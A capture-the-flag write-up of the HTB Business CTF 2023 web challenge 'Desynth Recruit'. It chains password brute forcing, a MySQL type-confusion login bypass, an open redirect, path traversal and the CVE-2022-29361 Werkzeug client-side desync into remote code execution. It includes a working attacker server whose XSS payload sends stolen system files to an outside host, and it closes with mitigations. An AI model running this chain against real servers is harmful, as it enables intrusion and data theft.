Desynth Recruit
Challenge
- CTF: HTB Business CTF 2023: The Great Escape
- Name: Desynth Recruit
- Category: Web
- Difficulty: Medium
- Points: 1000
- Description: The Commonwealth of Arodor Maximus has seized control of the No #1 Desynth Recruit Agency and is currently employing it against the United Nations of Zenium. They are now attempting to recruit a significant number of bots for their war efforts. We require your assistance in safeguarding the agency and thwarting the sinister plans of Arodor Maximus.
Files
Download: web_desynth_recruit.zip
Synopsis
The Flask web application had an open redirect vulnerability that could be used to exploit CVE-2022-29361 Client-Side Desync on Werkzeug. This could then be chained to perform an XSS attack via a moderator bot that could be triggered on reporting an arbitrary user. After which could then be used to access file-read on three system files to reverse the Werkzeug Debugger pin to achieve full Remote Code Execution.
Initial Analysis
You can spin this up via docker and it will be hosted at http://127.0.0.1:1337 or http://172.17.0.3:1337
1
sudo ./build-docker.sh
When browsing to the site for the first time you are presented with a cool welcome screen of “No #1 Mercenary Pilot Recruit Agency for Intergalactic Bot Warfare”: The “Recruiter Portal” doesn’t lead anywhere. However, the “Mercenary Portal” redirects you to a combined Registration/Login Page at /login
. We can create a user account and login. The registration POST’s to /register
and the login POST’s to /login
.
After logging in, we are brought to the /settings
endpoint where we can configure our user profile!
Vulnerability Identification
Looking at the challenge source-code we can identify some vulnerabilities:
Vuln 1 - Admin Password Bruteforce (Unintended)
In docker’s entrypoint.sh
, the admin user password is generated using the following bash function:
1
2
3
function genPass() {
echo -n $RANDOM | md5sum | head -c 32
}
The $RANDOM
variable is a built-in shell variable that generates a random integer between 0 and 32,767 (2^15 - 1). This means the range of $RANDOM
is from 0 to 32,767. That isn’t many combinations to stop bruteforcing and there is not any rate-limiting.
This password is then inserted into the internal MySQL database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
INSERT INTO web_desynth_recruit.users(
id,
username,
password,
full_name,
issn,
qualification,
bio,
iexp,
meta_desc,
is_public,
meta_keywords,
bots,
ipc_submitted,
ipc_verified
) VALUES(
1,
'admin',
'$(genPass)',
'Pete Maverick',
'1333333333333337',
'BPC','I\'m very passionate about bot piloting and I have set myself on a long term goal of training the next generation of bot pilots.','8', 'Pete Maverick\'s Profile', '1', 'expert, veteran, master-pilot, trainer',
'["DisBot", "FBot", "GoBot", "InstaBot", "RedBot", "SpotBot", "TicBot", "TwiBot","ViBot"]',
'1',
'1'
);
We can generate all the possible password combinations and append them to a text file.
1
2
3
4
for i in {1..32767}; do
md5=$(echo -n "$i" | md5sum | awk '{print $1}')
echo "$md5"
done > admin_md5.txt
We can then bruteforce with a tool such as ffuf
and login with the admin:654146dbdcd94564df622bab7dfaba8b
password!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ffuf -u 'http://172.17.0.3:1337/api/login' -H 'Content-Type: application/json' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -d '{"username":"admin","password":"FUZZ"}' -ac -w admin_md5.txt -r
:: Method : POST
:: URL : http://172.17.0.3:1337/api/login
:: Wordlist : FUZZ: /share/ctf/business2023/web_desynth_recruit/admin_md5.txt
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
:: Header : Content-Type: application/json
:: Data : {"username":"admin","password":"FUZZ"}
:: Follow redirects : true
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 41, Words: 6, Lines: 4, Duration: 33ms]
* FUZZ: 654146dbdcd94564df622bab7dfaba8b
Vuln 2 - MySQL String Type Confusion Integer Bruteforce (Unintended)
Within the blueprints/routes.py
where the /login
endpoint is defined, it is expecting JSON data and passed directly into login_user_db(username, password)
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@api.route('/login', methods=['POST'])
def api_login():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 401
user = login_user_db(username, password)
if user:
session['auth'] = user
return response('Logged In sucessfully'), 200
return response('Invalid credentials!'), 403
In the login_user_db(username, password)
function within database.py
, it uses a prepared statements to pass the username
and password
directly into the query that matches up with the %s
in the query.
1
2
3
4
5
6
7
8
def login_user_db(username, password):
user = query('SELECT username FROM users WHERE username = %s AND password = %s', (username, password,), one=True)
if user:
token = create_JWT(user['username'])
return token
else:
return False
However, a MySQL/MariaDB Type Confusion vulnerability was identified as there is not any input-sanitization such as checking if strings, integers, length, etc. For example, the integer user-input of [7842858]
and password string of '7842858ddde53cb0a24dc8c9fea4f92b'
is treated as identical in MySQL/MariaDB. This is because MySQL treats strings as integers until it hits a non-digit character as shown below:
MariaDB > select cast('7842858ddde53cb0a24dc8c9fea4f92b' as signed) as number;
+---------+
| number |
+---------+
| 7842858 |
+---------+
Every time the challenge spawns the admin password changes, thus the range of the valid integer could be anywhere from 0-32 characters. For example, if the first digit was of charset a-f
, it would be equivalent to [0]
. Even with source-code, this type of vulnerability can be hard to identify as the logic-flow passes through multiple files, multiple functions and it isn’t identified on logic already in place, but the input-sanitization that is missing.
If the user bruteforced the /api/login
page with various random integer passwords ranging from 0-32 characters, they would eventually get in.
Request:
1
2
3
4
5
6
7
8
9
10
11
POST /api/login HTTP/1.1
Host: 172.17.0.3:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 41
Connection: close
{"username":"admin","password":[7842858]}
Response:
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: Werkzeug/2.1.0 Python/3.11.4
Content-Type: application/json
Content-Length: 41
Vary: Cookie
Set-Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZrYldsdUlpd2laWGh3SWpveE5qa3dNRGc0TURZeWZRLjd4Z0RjUVlqRDR2dWtEeDlWeTFLbm1jMXRPSThaQzVaUlpMcFF6MWhISzAifQ.ZLxeHg.nGahMy86GqzE0ZJlyOKmgB2RkKM; HttpOnly; Path=/
{
"message": "Logged In sucessfully"
}
Vuln 3 - Open-Redirect - /go
Synk identified a open redirect vulnerability at the /go
endpoint in blueprints/routes.py
.
1
2
3
@web.route('/go')
def goto_external_url():
return redirect(request.args.get('to'))
Vuln 4 - Path Traversal - /ipc_submit
Synk identified a path traversal at the /ipc_submit
POST endpoint. However, this only allows saving .png
files anywhere on the file system and the filename is tied directly to the username used at registration. Also, if ipc_file.filename
contains an absolute path (starts with /
), os.path.join()
ignores the current_app.root_path
and current_app.config['UPLOAD_FOLDER']
and returns ipc_file.filename
only!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@api.route('/ipc_submit', methods=['POST'])
@is_authenticated
def ipc_submit(user):
if 'file' not in request.files:
return response('Invalid file!')
ipc_file = request.files['file']
if ipc_file.filename == '':
return response('No selected file!'), 403
if ipc_file and allowed_file(ipc_file.filename):
ipc_file.filename = f'{user["username"]}.png'
ipc_file.save(os.path.join(current_app.root_path, current_app.config['UPLOAD_FOLDER'], ipc_file.filename))
update_ipc_db(user['username'])
return response('File submitted! Our moderators will review your request.')
return response('Invalid file! only png files are allowed'), 403
This could potentially be abused to save any data to the target in order to bypass CORS for instance. However, the .png
extension is limiting and some browsers will try to always
Vuln 5 - Path Traversal - /ipc_download
Synk identified another path traversal vulnerability at the /ipc_download
endpoint. However, this is a restricted admin only endpoint.
1
2
3
4
5
6
7
8
9
10
11
12
13
@api.route('/ipc_download')
@is_authenticated
def ipc_download(user):
if user['username'] != 'admin':
return response('Unauthorized'), 401
path = f'{os.path.join(current_app.root_path, current_app.config["UPLOAD_FOLDER"])}{request.args.get("file")}'
try:
with open(path, "rb") as file:
file_content = file.read()
return Response(file_content, mimetype='application/octet-stream')
except:
return response('Something Went Wrong!')
The following example uses admin access to send a request to fetch the /etc/passwd
file on the target with with the path traversal payload ../../../../
: Request:
1
2
3
4
5
6
7
8
9
10
GET /api/ipc_download?file=../../../../etc/passwd HTTP/1.1
Host: 172.17.0.3:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://172.17.0.3:1337/ipc_documents
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZrYldsdUlpd2laWGh3SWpveE5qa3dNREUzTXpJNWZRLlRPSGFnekE0NWZmVnBBTlRYRzJmTmd1XzJHVjc1WWYyWkYwamtLU0pOSEkifQ.ZLtJ0Q.nPxMHl108SZK9X0AWEG7r7C6_2w; __wzd020509e80c63b34fc8ff=1689427629|5e76079a6fcc
Upgrade-Insecure-Requests: 1
Response:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
HTTP/1.1 200 OK
Server: Werkzeug/2.1.0 Python/3.11.4
Content-Type: application/octet-stream
Content-Length: 1223
Vary: Cookie
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
Vuln 6 - CVE-2022-29361 Client-Side Desync on Werkzeug to XSS
Werkzeug is a python Web Server Gateway Interface (WSGI) library for website development. It provides a simple way to set up an operational HTTP server for developers and is mostly present in Flask in development mode. In latest versions, Werkzeug use python library to handle most parts of the HTTP protocol.
The following blog at https://mizu.re/post/abusing-client-side-desync-on-werkzeug details CVE-2022-29361 Client-Side Desync on Werkzeug versions 2.1.0 to 2.1.1. Using this vulnerability on a vulnerable host could lead to a full account takeover exploit via Cross-Site Scripting (XSS). The challenge name is conveniently close to the title of the vulnerability / blog, thus making this the intended path to be abused.
Looking at the requirements.txt
file, we can see the Flask and Werkzeug versions that the application is build with, making it vulnerable to CVE-2022-29361.
1
2
3
4
5
6
7
8
9
10
Flask==2.1.0
Werkzeug==2.1.0
flask_mysqldb
pyjwt
bcrypt
colorama
Jinja2==3.1.2
flask_expects_json
selenium
mysqlclient==2.1.1
After registering a user, we can browse to /profile/<id>
and find additional hidden functionality of reporting user accounts at /report
.
Analyzing blueprints/routes.py
, we find that when a user is reported, a thread is spawned to run the bot()
function as admin as shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@api.route('/report', methods=['POST'])
@is_authenticated
def report(user):
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
user_id = data.get('id', '')
if not user_id:
return response('Missing required parameters!'), 401
admin_user = get_profile_db(1)
thread = threading.Thread(target=bot, args=(user_id, admin_user['username'], admin_user['password']))
thread.start()
return response('User reported! Our mods are reviewing your report')
In bot/bot.py
, the bot(id, username, password)
function is defined. This spins up a headless chrome instance via selenium that logs in as the administrator and views the profile that was just reported.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
import time
def bot(id, username, password):
chrome_options = Options()
chrome_options.add_argument('headless')
chrome_options.add_argument('no-sandbox')
chrome_options.add_argument('ignore-certificate-errors')
chrome_options.add_argument('disable-dev-shm-usage')
chrome_options.add_argument('disable-infobars')
chrome_options.add_argument('disable-background-networking')
chrome_options.add_argument('disable-default-apps')
chrome_options.add_argument('disable-extensions')
chrome_options.add_argument('disable-gpu')
chrome_options.add_argument('disable-sync')
chrome_options.add_argument('disable-translate')
chrome_options.add_argument('hide-scrollbars')
chrome_options.add_argument('metrics-recording-only')
chrome_options.add_argument('no-first-run')
chrome_options.add_argument('safebrowsing-disable-auto-update')
chrome_options.add_argument('media-cache-size=1')
chrome_options.add_argument('disk-cache-size=1')
client = webdriver.Chrome(options=chrome_options)
client.get(f"http://localhost:1337/login")
time.sleep(3)
client.find_element(By.ID, "username").send_keys(username)
client.find_element(By.ID, "password").send_keys(password)
client.execute_script("document.getElementById('login-btn').click()")
time.sleep(3)
client.get(f"http://localhost:1337/profile/{id}")
time.sleep(10)
client.quit()
The Python code of client.get(f"http://localhost:1337/profile/{id}")
, where the id
is from the initial /report
request and is user-controlled. This can lead to path traversal to other endpoints and could be used to chain this with the open redirect vulnerability discussed at Vuln 3 - Open-Redirect at the /go
endpoint.
Send the request for reporting with a path traversal payload of ../go?to=<attacker controlled>
with curl or Burp:
1
2
3
4
curl 'http://172.17.0.3:1337/api/report' -H 'Content-Type: application/json' -d '{"id":"../go?to=http://172.17.0.1/exploit"}' -b 'session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdOelEyTVROOS42MmJuWE5wY0JvaFpfQ1NZa3NpTUZGZWhMcmRYSlJ5d09WdVNDTjlqVVVJIn0.ZLwplQ.FJBSDS3rXDqXp9xVdw3aIcvrfZM'
{
"message": "User reported! Our mods are reviewing your report"
}
1
2
3
4
5
6
7
8
9
POST /api/report HTTP/1.1
Host: 172.17.0.3:1337
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdOelEyTVROOS42MmJuWE5wY0JvaFpfQ1NZa3NpTUZGZWhMcmRYSlJ5d09WdVNDTjlqVVVJIn0.ZLwplQ.FJBSDS3rXDqXp9xVdw3aIcvrfZM
{"id":"../go?to=http://172.17.0.1/exploit"}
The following Python code is used to startup a Flask instance to distribute a CVE-2022-29361 Client-Side Desync payload when the bot goes to our endpoint we control at /exploit
. After the initial /exploit
has been fetched, the bot then goes back to our endpoint at /
to fetch a Cross-Site Scripting (XSS) payload that will read the input files on the target via Vuln 5 - Path Traversal - /ipc_download
required to reverse the Werkzeug Debugger Pin Code of Vuln 7 - Werkzeug Debugger Remote Code Execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, Response, request, redirect
from base64 import b64decode
app = Flask(__name__)
VULNERABLE_SERVER = "http://127.0.0.1:1337/"
SERVER_IP = "172.17.0.1"
SERVER_PORT = 80
@app.route("/")
def index():
app.logger.info('This log message will be suppressed for specific requests')
if "data" in request.args and "file" in request.args:
file = request.args.get("file")
data = request.args.get("data")
decoded_data = b64decode(data).decode(encoding="utf-8", errors="ignore").strip()
print(f"`{file}` Contents:", decoded_data)
return redirect(VULNERABLE_SERVER)
else:
payload = f"""
files = ["/sys/class/net/eth0/address","/proc/sys/kernel/random/boot_id","/proc/self/cgroup"];
files.forEach(file => {{
fetch(`/api/ipc_download?file=../../../..${{file}}`, {{
method: 'GET',
credentials: 'include'
}}).then(response => response.text())
.then(data => {{
const url = `http://{SERVER_IP}:{SERVER_PORT}/?file=${{file}}&data=${{btoa(data)}}`;
fetch(url);
}});
}});
"""
resp = Response(payload)
resp.headers["Content-Type"] = "text/plain"
return resp
@app.route("/exploit")
def exploit():
payload = f"""<form id="x" action="http://localhost:1337/"
method="POST"
enctype="text/plain">
<textarea name="GET http://{SERVER_IP}:{SERVER_PORT} HTTP/1.1
Foo: x">Mizu</textarea>
<button type="submit">CLICK ME</button>
</form>
<script> x.submit() </script>"""
return payload
if __name__ == "__main__":
app.run(SERVER_IP, SERVER_PORT)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 desync.py
* Serving Flask app 'desync'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://172.17.0.1:80
Press CTRL+C to quit
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET /exploit HTTP/1.1" 200 -
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET / HTTP/1.1" 200 -
`/sys/class/net/eth0/address` Contents: 02:42:ac:11:00:03
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET /?file=/sys/class/net/eth0/address&data=MDI6NDI6YWM6MTE6MDA6MDMK HTTP/1.1" 302 -
`/proc/self/cgroup` Contents: 0::/
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET /?file=/proc/self/cgroup&data=MDo6Lwo= HTTP/1.1" 302 -
`/proc/sys/kernel/random/boot_id` Contents: 09ee7ff8-9079-43b2-a8a3-aaa4ff5a69c6
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET /?file=/proc/sys/kernel/random/boot_id&data=MDllZTdmZjgtOTA3OS00M2IyLWE4YTMtYWFhNGZmNWE2OWM2Cg== HTTP/1.1" 302 -
Vuln 7 - Werkzeug Debugger Remote Code Execution
When the Flask Python web application in started, you can see the debug mode is on and is running as root (User ID 0). This is because the application is running is a production environment and app.Debug
is not set to False.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo ./build-docker.sh
...[snip]..
2023-07-22 19:07:34,470 INFO Set uid to user 0 succeeded
2023-07-22 19:07:34,471 INFO supervisord started with pid 80
2023-07-22 19:07:35,473 INFO spawned: 'flask' with pid 81
* Serving Flask app 'application.main' (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on all addresses (0.0.0.0)
WARNING: This is a development server. Do not use it in a production deployment.
* Running on http://127.0.0.1:1337
* Running on http://172.17.0.3:1337 (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger PIN: 319-164-858
This enables an additional endpoint of /console
that is pin protected that provides Python in-line code debugging that could be abused to achieve Remote Code Execution via libraries such as os
or subprocess
. However, will unrestricted file-read access, such as when exploiting Path Traversal vulnerabilities, this pin could be reversed by accessing the following files:
/sys/class/net/eth0/address
/etc/machine-id
OR/proc/sys/kernel/random/boot_id
/proc/self/cgroup
After obtaining the file information, you can run follow along the walkthrough here https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug and obtain the reversed developer pin! The username of root
and path of app.py
of /usr/local/lib/python3.11/site-packages/flask/app.py
can be accessed from the Docker test environment.
1
2
3
4
$ python3 werkzeug-getpin.py
Public bits: ['root', 'flask.app', 'Flask', '/usr/local/lib/python3.11/site-packages/flask/app.py']
Private bits: ['2485377892355', '09ee7ff8-9079-43b2-a8a3-aaa4ff5a69c6']
Debugger PIN: 319-164-858
Using this pin, we can access the interactive Python debug console at /console
as shown and access the flag using the Python subprocess module or os module:
Target Flag: HTB{C!ENT_S1D3_D3sYnc_4r3_fUn!!}
Mitigations
The following mitigations will help resolve some of these vulnerabilities:
- Disable debug mode and remove Werkzeug package, especially in production mode via:
app.debug = False
- Remove open redirect of
/go
and use absolute redirects. - Save uploaded files in
/ipc_submit
as unpredictable filenames for each user. - Stripping leading slashes in the user controlled input of file in
/ipc_download
. - Update Werkzeug package to a version higher than 2.1.1.
- Add rate-limiting on the API, such as
/api/login
to prevent bruteforcing. - Add input sanitization throughout including at registration, login, reporting, etc.